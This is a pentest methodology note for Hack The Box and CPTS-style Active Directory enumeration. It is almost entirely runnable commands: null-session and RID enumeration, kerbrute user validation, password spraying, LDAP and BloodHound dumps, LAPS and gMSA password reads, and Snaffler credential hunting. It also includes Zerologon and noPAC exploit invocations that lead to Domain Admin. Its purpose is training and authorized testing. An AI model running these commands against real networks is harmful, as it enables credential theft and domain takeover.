[!dashboard] Attack-flow navigation Dashboard: HTB Pentest Attack Flow
Section: 07 of 17 · Focus: Stage 04 — Active Directory Enumeration
Previous: Stage 03 — Service Enumeration · Next: Stage 05 — Kerberos Attacks
🏰 STAGE 4 — Active Directory Enumeration
Once Stage 1 shows 88 / 389 / 445 / 636 / 3268 open I know I’m on a DC. The whole game here: turn “I can reach the DC” into a username list → any valid cred → a full LDAP dump → a BloodHound graph with an edge to Domain Admin. That’s the order I actually work it, creds or no creds.
Two habits keep this stage from collapsing into noise: (1) every command output that proves something gets saved to loot/ with a timestamp — the enumeration log becomes the report evidence in Stage 11; (2) every identity found goes into a running creds table (user / source / where valid / privs) — that table is the spray list, the BloodHound owned-set, and the lateral-movement menu all at once.
[!note] Setup assumed Vars from the setup block:
$IP $DOMAIN $DC $LHOST $U $P. Before any Kerberos-based tool touches the box, fix/etc/hosts,/etc/krb5.confand clock skew or everything dies silently — full kit in AD_Pentest_Tools_Cheat_Sheet. For a two-label domain I derive the base DN inline:DC=${DOMAIN%%.*},DC=${DOMAIN##*.}(e.g.domain.htb→DC=domain,DC=htb).
🧭 Methodology order — the only sequence that matters
AD enumeration is state-driven, not tool-driven. I move down this ladder and loop back up the moment my access level changes:
| Step | State | Goal | Primary tools |
|---|---|---|---|
| 1 | No creds | Naming context, password policy, user list | NetExec, ldapsearch, enum4linux-ng, kerbrute |
| 2 | User list | Valid usernames without lockouts | kerbrute userenum, RID brute |
| 3 | User list → cred bridge | Mint first cred with zero lockout risk | GetNPUsers.py (AS-REP), one spray under threshold |
| 4 | One valid cred | Confirm validity + reach | nxc smb/ldap/winrm validation |
| 5 | Credentialed | Full directory dump | nxc ldap, ldapdomaindump, PowerView |
| 6 | Credentialed | Graph + attack path | BloodHound CE + SharpHound |
| 7 | Loop | Every new identity = re-run 4–6 as that identity | all of the above |
[!tip] CPTS exam rhythm The exam expects this exact loop: unauth enum → user list → AS-REP or spray → credentialed enum → BloodHound → edge → new principal → re-enumerate as the new principal. Skipping the re-enum step is the #1 reason people stall — a new user often has readable shares,
ReadLAPSrights, or ACL edges the first user never had.
[!abstract]- MITRE ATT&CK map for this stage
Technique Where in this note T1087.001/.002 — Account Discovery (local/domain) 4.1 RID brute, 4.3 --users, PowerViewT1069.001/.002 — Permission Groups Discovery 4.3 --groups,net group /domainT1201 — Password Policy Discovery 4.1 --pass-pol,net accounts /domainT1135 — Network Share Discovery 4.3 --shares, Snaffler sectionT1482 — Domain Trust Discovery LDAP cookbook, Get-DomainTrustMappingT1558.004 — AS-REP Roasting 4.1 kerbrute --hash-file, Stage 5T1110.003 — Password Spraying spray loop, Stage 08 T1033 — System Owner/User Discovery session enum ( --sessions, PsLoggedOn)
| T1558.003 — Kerberoasting | 4.3 --kerberoasting (exploit in Stage 05) |
| T1212 — Exploitation for Credential Access (LAPS/gMSA reads) | LAPS & gMSA section |
4.1 Unauthenticated — no creds yet
What to look for: anonymous/guest SMB + LDAP, a valid username list, RID-cycled names, AS-REP-roastable accounts, the domain naming context.
Enumerate
# Null / guest SMB — this is the nxc "enum4linux replacement" combo
nxc smb $IP -u '' -p '' --shares
nxc smb $IP -u '' -p '' --users
nxc smb $IP -u 'guest' -p '' --shares # guest fallback when null is blocked
nxc smb $IP -u '' -p '' --pass-pol # READ THIS before any spray
nxc smb $IP -u '' -p '' --rid-brute # cycle RIDs 500+ into names
# enum4linux-ng — the classic one-shot (users/groups/shares/policy, JSON+YAML out)
enum4linux-ng -A $IP -oA recon/enum4linux
enum4linux-ng -U $IP # users only
enum4linux-ng -P $IP # password policy only
# Anonymous LDAP — grab the base DN, then blind-dump if binds are allowed
ldapsearch -x -H ldap://$DC -b "" -s base namingContexts
ldapsearch -x -H ldap://$DC -b "DC=${DOMAIN%%.*},DC=${DOMAIN##*.}" "(objectClass=*)" > ldap_anon.txt
# Kerbrute — validate usernames off port 88, NO lockout risk
kerbrute userenum -d $DOMAIN --dc $DC \
-o valid_users.txt --hash-file asrep.txt -v \
/usr/share/seclists/Usernames/statistically-likely-usernames/jsmith.txt
[!tools] Stage this — kerbrute (both platforms staged in vault) kerbrute_linux_amd64 (SHA-256 · GPG signature) kerbrute_windows_amd64.exe (SHA-256 · GPG signature) Canonical source: ropnop/kerbrute. Wordlists from SecLists (
statistically-likely-usernames,xato-net-10-million-usernames) or generate from employee names with username-anarchy / linkedin2username — see Stage 00.
Exploit / pivot from unauth
# RID brute → clean userlist for kerbrute / spraying
nxc smb $IP -u '' -p '' --rid-brute | grep -i SidTypeUser | awk -F'\\' '{print $2}' | awk '{print $1}' > users.txt
# Feed a confirmed list back into kerbrute (still no lockout on userenum)
kerbrute userenum -d $DOMAIN --dc $DC -o valid_users.txt users.txt
# kerbrute --hash-file may already have captured AS-REP hashes (pre-auth disabled)
# asrep.txt → hashcat -m 18200 ; roasting/cracking lives in Stage 5, see Hashcat-Cheatsheet
# Pre-Windows 2000 compatible check: machine account = lowercase name minus '$' as password
nxc ldap $DC -u '' -p '' -M pre2k # unauth discovery of pre2k computers
# then try each as user=COMPUTERNAME (lowercase, no $), password=same
[!tip] pre2k — the quietest first cred When a computer account is created with the “Assign this computer account as a pre-Windows 2000 computer” box ticked, its password is set to the computer name in lowercase, truncated to 14 chars, without the trailing
$— and the account is often left disabled-but-guessable.nxc ldap -M pre2klists candidates; verify withnxc smb $IP -u <name> -p <name>. It’s a valid domain cred from nothing, which unlocks all of 4.3. Detection: Event 4741/4742 on computer creation, plus KDC 4768 failures with the$-less sAMAccountName pattern.
The Pre-Windows 2000 Compatible Access group is the other side of the same coin: if Everyone / Anonymous Logon / Authenticated Users were ever dropped into the built-in Pre-Windows 2000 Compatible Access group, anonymous binds can read most user/group attributes — that’s why ldapsearch anon dumps and --rid-brute sometimes work. Check what survives:
# does anon read work at all? (rootDSE works even when it doesn't)
ldapsearch -x -H ldap://$DC -b "" -s base namingContexts defaultNamingContext
# enum4linux-ng -A output flags it as "Users via anonymous" when the group is permissive
enum4linux-ng -A $IP | grep -i -A3 'pre-windows\|anonymous'
[!warning] Watch out
kerbruteneeds the clock within 5 min of the KDC —clock skew too great→sudo ntpdate $IP. Always pass--dc $DCso it never falls back to DNS.userenumdoes not lock accounts;passwordspray/bruteuserdo — pull--pass-polfirst and always add--safe.- The subcommand is
kerbrute userenum, notkerbrute user(that errors).--rid-brute/ anonymous LDAP only work if the DC allows null binds (Pre-Windows 2000 Compatible Access). No output ≠ empty domain.- Kerbrute validation is loud in aggregate: every check is an AS-REQ → Event 4768 per username. A 10k-name list is 10k 4768s; use
--threadsmodestly and prefer a curated list (statistically-likely-usernames) over bulk dictionary.
4.2 Got a cred — validate it everywhere first
What to look for: where the cred is valid, and whether it’s already local admin (Pwn3d!).
Enumerate
# Validate on every protocol — [+] valid, [-] invalid, Pwn3d! = local admin
nxc smb $IP -u "$U" -p "$P"
nxc ldap $DC -u "$U" -p "$P"
nxc winrm $DC -u "$U" -p "$P" # Pwn3d! here = evil-winrm shell, Stage 6
nxc mssql $DC -u "$U" -p "$P" # svc accounts often hit MSSQL too
nxc rdp $DC -u "$U" -p "$P" # RDP reach (screenshot-friendly check)
# Pass-the-hash instead of a password:
nxc smb $IP -u "$U" -H "$HASH"
[!warning] Watch out
STATUS_LOGON_FAILUREwith a cred you know is good = usually a domain problem, not a bad password. Add-d $DOMAIN, target the FQDN$DC, or--local-authfor a SAM account. Kerberos failures → FQDN target + fixed DNS/clock.
[!success] The doctrine: new creds = rerun everything as that identity Every validated credential is a new enumeration context, not a trophy. The moment a spray hit or crack lands:
nxc smb/ldap/winrmvalidate the new identity everywhere (4.2).- Re-vacuum LDAP as that user (4.3) — new
description/info/share access often appears.- Re-run BloodHound as that identity (4.5) and mark it Owned — its group memberships and ACL edges may open a path the previous user never had.
- Retry LAPS/gMSA reads and the share sweep. This loop is the methodology; the HTB/CPTS boxes are built so the 2nd or 3rd identity holds the winning edge.
4.3 Credentialed enumeration — vacuum SMB + LDAP with nxc
What to look for: full user/group/computer lists, share access, password policy, low-hanging AD misconfigs (adminCount, delegation, no-preauth).
Enumerate
# SMB side — shares, users, groups, sessions
nxc smb $IP -u "$U" -p "$P" --shares --users --groups --pass-pol
nxc smb $IP -u "$U" -p "$P" --loggedon-users --sessions
nxc smb $IP -u "$U" -p "$P" --users --users-export users.txt # dump list to file
# LDAP side — the richer view (this is where the AD gold is)
nxc ldap $DC -u "$U" -p "$P" --users
nxc ldap $DC -u "$U" -p "$P" --groups
nxc ldap $DC -u "$U" -p "$P" --computers
nxc ldap $DC -u "$U" -p "$P" --pass-pol
nxc ldap $DC -u "$U" -p "$P" --admin-count # adminCount=1 → high value
nxc ldap $DC -u "$U" -p "$P" --password-not-required
nxc ldap $DC -u "$U" -p "$P" --trusted-for-delegation
nxc ldap $DC -u "$U" -p "$P" --find-delegation
nxc ldap $DC -u "$U" -p "$P" --get-sid
# Roast discovery straight from LDAP (crack/exploit in Stage 5)
nxc ldap $DC -u "$U" -p "$P" --asreproast asrep.txt
nxc ldap $DC -u "$U" -p "$P" --kerberoasting kerberoast.txt
# Descriptions/user-desc modules — passwords hide in these fields constantly
nxc ldap $DC -u "$U" -p "$P" -M user-desc
nxc ldap $DC -u "$U" -p "$P" -M get-desc-users
nxc LDAP flag table — what each flag actually answers:
| Flag | Question answered | Follow-up |
|---|---|---|
--users / --users-export | Who exists? (build the spray list) | prune by badPwdCount before spraying |
--groups | Group memberships, privileged groups | hunt nested Domain Admins members |
--computers | Hosts + OS versions in the domain | old OS = soft privesc targets (Stage 9) |
--pass-pol | Lockout threshold/window, complexity | sets the spray rate math |
--admin-count | adminCount=1 objects (SDProp-protected) | high-value targets for roast/ACL abuse |
--password-not-required | PASSWD_NOTREQD accounts | try blank passwords; classic misconfig |
--trusted-for-delegation | Unconstrained delegation hosts | coerce a DC to it → Stage 5 |
--find-delegation | All delegation (unconstrained/constrained/RBCD) | Stage 5 delegation attacks |
--asreproast <file> | DONT_REQ_PREAUTH accounts + AS-REP hashes | hashcat -m 18200, Stage 05 |
--kerberoasting <file> | SPN accounts + TGS hashes | hashcat -m 13100, Stage 05 |
--gmsa | Readable gMSA passwords → NT hashes | spend ReadGMSAPassword edges |
-M laps | Readable LAPS passwords | local admin on those hosts |
-M pre2k | Pre-Windows 2000 computer accounts | password = lowercase name |
-M user-desc / -M get-desc-users | Passwords in description fields | free creds, always run |
-M maq | MachineAccountQuota (can I add a computer?) | RBCD prerequisite, Stage 5/6 |
-M adcs | ADCS enrollment servers/templates | hands off to Stage 07 |
--bloodhound --collection All | In-line SharpHound-equivalent collection | 4.5 ingest |
--get-sid | Domain SID | needed for ticket forgery, Stage 5 |
[!tip] Password spray from a known-valid base Once one cred works, spray it (or one seasonal password) across the whole userlist — but respect the lockout policy you already pulled:
nxc smb $IP -u users.txt -p 'Welcome2024!' --continue-on-success --no-bruteforce --jitter 2
4.4 LDAP tooling — ldapsearch, ldapdomaindump, ldeep, windapsearch, bloodyAD
The LDAP tools I reach for, in order of surgical → automated:
ldapsearch — surgical, one filter at a time. Modern syntax: -H ldap:// (never -h), -x simple bind, -LLL for clean output.
# Base recon + auth test
ldapsearch -x -H ldap://$DC -b "" -s base namingContexts
ldapsearch -LLL -x -H ldap://$DC -D "$U@$DOMAIN" -w "$P" -b "DC=${DOMAIN%%.*},DC=${DOMAIN##*.}"
# All users with the fields that leak creds — check info AND description
ldapsearch -x -H ldap://$DC -D "$U@$DOMAIN" -w "$P" \
-b "DC=${DOMAIN%%.*},DC=${DOMAIN##*.}" \
"(objectClass=user)" sAMAccountName mail userAccountControl description info memberOf
# Hunt passwords in the info field (this WAS the creds on Support)
ldapsearch -x -H ldap://$DC -D "$U@$DOMAIN" -w "$P" \
-b "DC=${DOMAIN%%.*},DC=${DOMAIN##*.}" "(info=*)" info cn sAMAccountName
# Kerberoastable (has SPN)
ldapsearch -x -H ldap://$DC -D "$U@$DOMAIN" -w "$P" \
-b "DC=${DOMAIN%%.*},DC=${DOMAIN##*.}" \
"(&(objectClass=user)(servicePrincipalName=*))" sAMAccountName servicePrincipalName
# AS-REP roastable (DONT_REQ_PREAUTH bit)
ldapsearch -x -H ldap://$DC -D "$U@$DOMAIN" -w "$P" \
-b "DC=${DOMAIN%%.*},DC=${DOMAIN##*.}" \
"(userAccountControl:1.2.840.113556.1.4.803:=4194304)" sAMAccountName
# Accounts with constrained delegation configured
ldapsearch -x -H ldap://$DC -D "$U@$DOMAIN" -w "$P" \
-b "DC=${DOMAIN%%.*},DC=${DOMAIN##*.}" \
"(msDS-AllowedToDelegateTo=*)" sAMAccountName msDS-AllowedToDelegateTo
# Domain Controllers only
ldapsearch -x -H ldap://$DC -D "$U@$DOMAIN" -w "$P" \
-b "DC=${DOMAIN%%.*},DC=${DOMAIN##*.}" \
"(userAccountControl:1.2.840.113556.1.4.803:=8192)" cn dNSHostName
ldapsearch query cookbook — the “what do I want” → filter table (base B="DC=${DOMAIN%%.*},DC=${DOMAIN##*.}", auth -D "$U@$DOMAIN" -w "$P"):
| I want… | Filter | Attributes to pull |
|---|---|---|
| All users | (objectClass=user) | sAMAccountName mail description info memberOf |
| Domain/Enterprise Admins | (memberOf:1.2.840.113556.1.4.1941:=CN=Domain Admins,CN=Users,$B) | sAMAccountName |
| SPN (kerberoastable) users | (&(objectClass=user)(servicePrincipalName=*)(!(objectClass=computer))) | sAMAccountName servicePrincipalName |
| AS-REP roastable | (userAccountControl:1.2.840.113556.1.4.803:=4194304) | sAMAccountName |
| All computers | (objectClass=computer) | cn dNSHostName operatingSystem operatingSystemVersion |
| Computers by OS (e.g. 2012) | (&(objectClass=computer)(operatingSystem=*2012*)) | cn operatingSystem |
| GPOs | (objectClass=groupPolicyContainer) | displayName gPCFileSysPath |
| OUs | (objectClass=organizationalUnit) | ou distinguishedName gPLink |
| Domain trusts | (objectClass=trustedDomain) | name trustDirection trustAttributes |
| Password policy (domain root) | -s base -b "$B" "(objectClass=domain)" | minPwdLength lockoutThreshold lockOutObservationWindow maxPwdAge |
| Descriptions with creds | (&(objectCategory=user)(description=*)) | sAMAccountName description |
| Mail attributes | (&(objectClass=user)(mail=*)) | sAMAccountName mail |
| Never-expiring passwords | (userAccountControl:1.2.840.113556.1.4.803:=65536) | sAMAccountName |
| Disabled accounts | (userAccountControl:1.2.840.113556.1.4.803:=2) | sAMAccountName |
| MachineAccountQuota | -s base -b "$B" "(objectClass=domain)" | ms-DS-MachineAccountQuota |
| LAPS-readable hosts | (ms-Mcs-AdmPwd=*) | cn ms-Mcs-AdmPwd |
| ACLs on a specific object | base = object DN, -s base "(objectClass=*)" | nTSecurityDescriptor (SDDL — parse with bloodyAD/StandIn) |
ldapdomaindump — the whole domain to HTML+JSON in one shot. Best “just give me everything greppable” tool: dirkjanm/ldapdomaindump.
ldapdomaindump -u "$DOMAIN\\$U" -p "$P" $DC -o ldapdump # or use $IP if DNS is flaky
# then hunt creds + privileged users in the JSON
grep -i "info\|description" ldapdump/domain_users.json | grep -v '""'
jq '.[] | select(.info != "") | {name:.name, info:.info}' ldapdump/domain_users.json
jq -r '.[].name' ldapdump/domain_users.json > users.txt
# browse the tables: cd ldapdump && python3 -m http.server 8000
ldeep — ldapdomaindump’s modern rival (franc-pentest/ldeep): same full-dump idea but with per-topic verbs, Kerberos/ccache auth, and JSON output that pipes cleanly:
ldeep ldap -u "$U" -p "$P" -d $DOMAIN -s ldap://$DC all ldeep_out/ # everything
ldeep ldap -u "$U" -p "$P" -d $DOMAIN -s ldap://$DC users -v # verbose users
ldeep ldap -u "$U" -p "$P" -d $DOMAIN -s ldap://$DC delegations # all delegation types
ldeep ldap -u "$U" -p "$P" -d $DOMAIN -s ldap://$DC gmsa # readable gMSAs
ldeep ldap -u "$U" -p "$P" -d $DOMAIN -s ldap://$DC trusts
ldeep ldap -u "$U" -k -d $DOMAIN -s ldaps://$DC all out/ # ccache auth via KRB5CCNAME
windapsearch — canned queries as flags (ropnop/windapsearch) when I don’t want to write filter syntax:
windapsearch -d $DOMAIN --dc $DC -u "$U" -p "$P" --da # Domain Admins
windapsearch -d $DOMAIN --dc $DC -u "$U" -p "$P" --computers
windapsearch -d $DOMAIN --dc $DC -u "$U" -p "$P" --unconstrained-delegation
bloodyAD — read what my cred can actually touch (CravateRouge/bloodyAD) (and later, weaponize it):
# What objects is THIS principal allowed to write? (fastest ACL-edge finder from CLI)
bloodyAD -d $DOMAIN -u "$U" -p "$P" --host $DC get writable
# bloodyAD also does the write side (reset pw, add to group, set RBCD, disable preauth) — Stage 5/6
adidnsdump — the hidden host list (dirkjanm/adidnsdump): AD-integrated DNS keeps the zone in LDAP, so any domain user can dump every DNS record — a complete internal host inventory (including hosts that don’t respond to ping) with zero scanning traffic:
adidnsdump -u "$DOMAIN\\$U" -p "$P" $DC --dns-tcp
# records.csv → every A/AAAA/CNAME; grep for *-dc*, *sql*, *web* to build the target map
[!tip] “Which LDAP tool?” (exam recall)
ldapsearch= precise single filters ·ldapdomaindump= full HTML/JSON dump for grepping ·ldeep= modern dump with verbs + Kerberos auth ·windapsearch= queries-as-flags ·nxc ldap= fast enum + roast/bloodhound ·bloodyAD get writable= what your cred can modify. Anonymous namingContexts probe comes before all of them. Port discovery back in Stage 1 wasrustscan -a $IP --ulimit 5000 -- -sC -sVthen nmap AD scripts.
[!warning] Watch out
infoanddescriptionfields hold plaintext passwords far more often than they should — always dump both.- Quote passwords in single quotes;
ldapdomaindumpwants a double backslash inDOMAIN\\user.- LDAPS (636) sometimes binds where plain LDAP is restricted:
ldapsearch -H ldaps://$DC:636 .../ldapdomaindump ... -l ldaps://$DC:636.- Simple binds (
-x -w) send the password in cleartext over plain LDAP — on a real engagement that’s both a credential-exposure issue and an easy NDR detection. Prefer-k/Kerberos orldaps://where possible.
4.5 The payoff — BloodHound → pick an edge
This is why I enumerate at all: dump the graph, mark what I own, let it show me the path to DA. Collect the moment I have any cred, even low-priv. Current platform: BloodHound CE (SpecterOps). Legacy BloodHound 4.x is end-of-life but still lurks in older lab images.
[!tools] Stage this — SharpHound collector (exe + ps1 in one zip) SharpHound.zip (SHA-256 · GPG signature) Canonical source: SpecterOps/SharpHound. Linux collectors: bloodhound-ce-python (CE-schema) and RustHound-CE (fast Rust collector, CE-compatible). Collector schema must match the ingestor — check the table below.
Legacy vs CE — the compatibility trap:
| Legacy BloodHound 4.x | BloodHound CE | |
|---|---|---|
| Linux collector | bloodhound-python (old BloodHound.py branch) | bloodhound-ce-python or RustHound-CE |
| Windows collector | SharpHound 1.x | SharpHound 2.x (shipped in the vault zip) |
| JSON schema | legacy v4 | CE/opengraph — not interchangeable |
| Backend | Neo4j desktop app | Postgres + API + web UI (docker) |
| Ingest | drag-drop zip into GUI | Administration → File Ingest |
| Cypher | legacy property names (highvalue, hasspn…) | renamed properties; use CE Query Library first |
[!danger] Wrong-schema ingestion fails silently — files “upload OK” but produce an empty or mis-parsed graph. If the graph is weird after ingest, schema mismatch is the first suspect, before DNS.
Collect (Linux, remote)
# BloodHound CE (current) — CE-schema JSON. -ns MUST be the DC IP or the graph comes back empty
bloodhound-ce-python -d $DOMAIN -u "$U" -p "$P" -dc $DC -ns $IP -c All --zip
# RustHound-CE — faster on big domains, same CE schema
rusthound-ce -d $DOMAIN -u "$U" -p "$P" -f $DC -i $IP -c All --zip
# Legacy BloodHound (older labs only — DIFFERENT json schema, not interchangeable)
bloodhound-python -c all -u "$U" -p "$P" -d $DOMAIN -ns $IP --zip
# Pass-the-hash / Kerberos variants
bloodhound-ce-python -d $DOMAIN -u "$U" --hashes :$HASH -ns $IP -c All --zip
export KRB5CCNAME=$(pwd)/$U.ccache
bloodhound-ce-python -d $DOMAIN -u "$U" -k -no-pass -dc $DC -ns $IP -c All --zip
# Stealth first pass — pure LDAP, no SMB/host touches
bloodhound-ce-python -d $DOMAIN -u "$U" -p "$P" -ns $IP -c DCOnly --zip
# Or let nxc do collection + zip in one line
nxc ldap $DC -u "$U" -p "$P" --bloodhound --collection All --dns-server $IP
Collect (from a Windows foothold — SharpHound) when I already have a shell / need session data:
.\SharpHound.exe -c All -d $DOMAIN --DomainController $IP --ZipFileName loot.zip
.\SharpHound.exe -c DCOnly # quiet, LDAP-only
.\SharpHound.exe -c Session --Loop --Loopduration 02:00:00 --LoopInterval 00:10:00 # session hunting
Collection flag picker:
| Flag / method | Gets you | Cost |
|---|---|---|
-c All / --collection All | Everything: groups, sessions, local admins, ACLs, trusts | Loud — touches every host over SMB/RPC |
-c DCOnly | Users, groups, ACLs, trusts, GPOs — LDAP to the DC only | Quiet; no session/local-admin edges |
-c Session (+--Loop) | Logged-on sessions (the lateral-movement edges) | Medium; needs rights on targets |
-c LoggedOn | Privileged sessions only (needs local admin) | Louder, higher value |
--zip | Compress output for exfil/ingest | Always on for remote collectors |
-c All --stealth (SharpHound) | Slower, single-threaded, avoids some signatures | Time |
Ingest → analyze: BHCE web UI → Administration → File Ingest → Upload, drop the zip. Mark every principal I own as Owned so pathfinding stays relevant, then run the built-ins + this CE cypher starter set:
/* Shortest path to Domain Admins from anything I own */
MATCH p=shortestPath((o {owned:true})-[*1..]->(g:Group))
WHERE g.objectid ENDS WITH '-512'
RETURN p LIMIT 25
/* Kerberoastable / AS-REP roastable (verify property names against your CE dataset) */
MATCH (u:User {hasspn:true}) RETURN u.name, u.serviceprincipalnames
MATCH (u:User {dontreqpreauth:true}) RETURN u.name
/* ACL abuse edges I care about */
MATCH p=(u)-[r:GenericWrite]->(t) RETURN p
MATCH p=(u)-[r:ReadGMSAPassword]->(g) RETURN p
MATCH p=(u)-[r:AllowedToDelegate]->(c) RETURN p
/* Where Domain Users are local admin, and unconstrained delegation boxes */
MATCH p=(g:Group)-[:AdminTo]->(c:Computer) WHERE g.name STARTS WITH 'DOMAIN USERS@' RETURN p
MATCH (c:Computer {unconstraineddelegation:true}) RETURN c.name
CE cypher starter table — copy/paste per question:
| Question | Cypher |
|---|---|
| Shortest paths to DA from owned | MATCH p=shortestPath((o {owned:true})-[*1..]->(g:Group)) WHERE g.objectid ENDS WITH '-512' RETURN p |
| Kerberoastable users | MATCH (u:User {hasspn:true}) RETURN u.name |
| AS-REP roastable users | MATCH (u:User {dontreqpreauth:true}) RETURN u.name |
| Unconstrained delegation | MATCH (c:Computer {unconstraineddelegation:true}) RETURN c.name |
| All owned principals | MATCH (n {owned:true}) RETURN n.name, labels(n) |
| Sessions (who’s logged on where) | MATCH p=(u:User)-[:HasSession]->(c:Computer) RETURN p |
| Outbound ACL edges from my user | MATCH p=(u:User {name:'$U@$DOMAIN'})-[r]->(t) RETURN p |
| DCSync-capable principals | MATCH p=(n)-[:DCSync]->(d:Domain) RETURN p |
Run-first checklist: shortest path to DA from owned → Kerberoastable/AS-REP → delegation (unconstrained + constrained) → DCSync/dangerous ACL rights → ADCS escalation (CE) → sessions on high-value hosts. Each surviving edge hands off to Stage 5: roast with Rubeus-Cheatsheet / Impacket-Cheatsheet, ACL abuse with bloodyAD, ADCS with Certipy-ADCS-Cheatsheet, validate local admin with nxc.
[!warning] Watch out
- Empty graph = DNS, not auth. Set
-ns $IP(the DC), add--dns-tcp, and make sure-dis the FQDN.- CE vs legacy are NOT interchangeable —
bloodhound-ce-python→ BloodHound CE;bloodhound-python→ legacy. Wrong schema mis-parses silently. SharpHound build must match your CE version too.DCOnlygives no session edges — you need-c All/Session(and rights) for lateral-movement pathing.- Legacy blog Cypher often returns 0 on CE (property/label renames) — prefer the CE Query Library and validate property names on a node.
- Kerberos collection under clock skew fails — wrap with
faketime(faketime-cheatsheet) or sync to the DC.
💥 DC One-Shot CVE Checkpoint
What to look for → before grinding ACLs, spend 30 seconds checking whether the DC is vulnerable to an instant-DA CVE. Two are worth a reflexive check on every unpatched-looking DC.
Check + exploit
# Zerologon (CVE-2020-1472) — unauth, sets DC$ password to empty
nxc smb $DC -u '' -p '' -M zerologon # SAFE check
python3 cve-2020-1472-exploit.py ${DC%%.*} $IP # sets DC$ pw empty (DESTRUCTIVE)
secretsdump.py -just-dc-user krbtgt "$DOMAIN"/"${DC%%.*}\$"@$DC -hashes :31d6cfe0d16ae931b73c59d7e0c089c0
python3 restorepassword.py "$DOMAIN"/"${DC%%.*}"@$DC -target-ip $IP # RESTORE — mandatory
# noPAC / Sam-the-Admin (CVE-2021-42278/42287) — any domain user → DA
nxc smb $DC -u "$U" -p "$P" -M nopac # check
python3 noPac.py "$DOMAIN"/"$U":"$P" -dc-ip $IP -dc-host ${DC%%.*} -shell --impersonate Administrator -use-ldap
[!warning] Watch out — Zerologon BREAKS the DC Emptying the
DC$machine password kills AD replication, trusts and SYSVOL until you restore it. Dumpkrbtgt(the31d6…hash is the empty-password NT hash), then immediately runrestorepassword.py— don’t leave a lab (or exam range) broken. noPAC needsMachineAccountQuota > 0. Deep dives: 🔵 Attack · 🔵 Attack. Full noPAC/sAMAccountName-spoof flow lives in Stage 05.
🔐 Credential-Bearing Attributes — LAPS & gMSA
What to look for → two AD attributes that hand you a password if your user has the read ACL (BloodHound draws these as ReadLAPSPassword and ReadGMSAPassword edges). Always test both as every new user — a low-priv account with the right read = instant local admin or a DA-equivalent service hash.
LAPS — local admin password in cleartext
nxc ldap $DC -u "$U" -p "$P" --module laps # dump every readable LAPS pw
nxc smb $DC -u "$U" -p "$P" --laps # same via SMB
ldapsearch -x -H ldap://$IP -D "$U@$DOMAIN" -w "$P" -b "dc=${DOMAIN%%.*},dc=${DOMAIN#*.}" \
'(ms-Mcs-AdmPwd=*)' ms-Mcs-AdmPwd # raw LDAP (LAPS v1 attr)
Dedicated dumpers: LAPSToolkit (PowerShell, includes Get-LAPSComputers + Find-LAPSDelegatedGroups to see who can read LAPS), pyLAPS (Python, remote), SharpLAPS (C#, on-host). Discovery of the delegation (who holds read) matters as much as the read itself — target those principals in Stage 6.
Import-Module .\LAPSToolkit.ps1
Get-LAPSComputers # hosts with LAPS + passwords my token can read
Find-LAPSDelegatedGroups # who has been DELEGATED read rights (targets!)
gMSA — service account NT hash (spends the ReadGMSAPassword edge)
nxc ldap $DC -u "$U" -p "$P" --gmsa # prints the NTLM of readable gMSAs
python3 gMSADumper.py -u "$U" -p "$P" -d "$DOMAIN" -l $DC # standalone — github.com/micahvandeusen/gMSADumper
bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host $DC get object 'svc_gmsa$' --attr msDS-ManagedPassword
ldeep ldap -u "$U" -p "$P" -d $DOMAIN -s ldap://$DC gmsa
gMSADumper is the one-shot: any cred → tries to read every gMSA’s msDS-ManagedPassword blob and prints NTLM hashes ready for PtH.
[!tip] Where these lead LAPS pw → local admin on that host → PtH/loot it in STAGE 10. gMSA hash → if the gMSA is DA-equivalent or has DCSync (check BloodHound), it is the domain — this is the Fluffy/Intelligence-class path. Deep dives: 🔷 Attack · 🔷 Attack.
📂 Shares & file-content hunting — Snaffler
What to look for: readable shares first, then files inside shares that contain credentials — unattend.xml, web.config, scripts with embedded passwords, KeePass databases, passwords.xlsx. Share loot bridges Stage 4 → Stage 8: a single found cred restarts the whole loop.
Enumerate shares, then hunt content:
# Map readable shares as the current identity
nxc smb $IP -u "$U" -p "$P" --shares
nxc smb $IP -u "$U" -p "$P" -M spider_plus # auto-crawl + JSON inventory per share
smbmap -H $IP -u "$U" -p "$P" -d "$DOMAIN" -R # recursive listing (github.com/ShawnDEvans/smbmap)
# spider_plus output → triage the inventory before pulling files
jq -r 'to_entries[] | .key as $share | .value | keys[] | "\($share)/\(.)"' \
~/.nxc/modules/spider_plus/*.json | grep -Ei 'unattend|\.kdbx|config|\.ps1|passw|cred'
[!tools] Stage this — Snaffler (the AD-aware share credential hunter) Snaffler.exe (SHA-256 · GPG signature) Canonical source: SnaffCon/Snaffler. Unlike a dumb spider, Snaffler enumerates the domain for computer targets itself, then classifies file contents by credential-likelihood rules. Run from a domain-joined foothold. Cross-ref: full workflow in Stage 08 — Credential Hunting.
.\Snaffler.exe -s -o snaffler.log # default: domain computers, content rules on
.\Snaffler.exe -s -i C:\loot -o snaffler.log # restrict to a share tree I already mounted
.\Snaffler.exe --help # rule tuning: -m maxSizeGrep, -z interest levels
[!warning] Watch out Snaffler reads a lot of files over SMB — heavy network + EDR-visible. Scope with
-i/computer targeting on real engagements. Shares enumerated by any domain user are also exactly what modern Deception tools (honey shares) bait with: an irresistible\\SRV\IT\passwords.kdbxon an otherwise-empty server is a tell — verify the host looks real before pulling.
👥 Session & logon enumeration — where are the admins right now?
What to look for: which high-value accounts (Domain Admins, helpdesk, service accounts) have live sessions on hosts I can reach — because a session = a stealable token/cred in LSASS once I’m local admin there. This feeds BloodHound’s HasSession edges and Stage 10 lateral movement.
# Remote session enum as a low-priv user (NetSessionEnum — often allowed)
nxc smb $IP -u "$U" -p "$P" --sessions
nxc smb $IP -u "$U" -p "$P" --loggedon-users # needs more rights (SAMR)
# Sweep a subnet for sessions to build the lateral map
nxc smb 10.10.10.0/24 -u "$U" -p "$P" --sessions | grep -B1 -i 'admin\|svc_'
# The classic: PsLoggedOn (Sysinternals) — local + remote logged-on users
.\PsLoggedOn.exe \\TARGET
# BloodHound's -c Session collection automates exactly this at scale (4.5)
[!note] PsLoggedOn concept → BloodHound PsLoggedOn/
net session/--sessionsare the manual version of what SharpHound-c Sessiondoes domain-wide. On a single box the manual check is quieter; at scale let the collector do it. Pair withqwinsta/quseron hosts where I already have a shell. Detection: NetSessionEnum bursts across many hosts is a known hunting signature (SharpHound “session enum” rules) — another reasonDCOnlyfirst, sessions later.
For share inventory at scale (rather than content), PowerHuntShares auto-discovers shares across the domain and scores them by risk — a good middle ground between raw --shares and a full Snaffler run:
Import-Module .\PowerHuntShares.psm1
Invoke-HuntSMBShares -NoPing -OutputDirectory .\shares -Threads 20
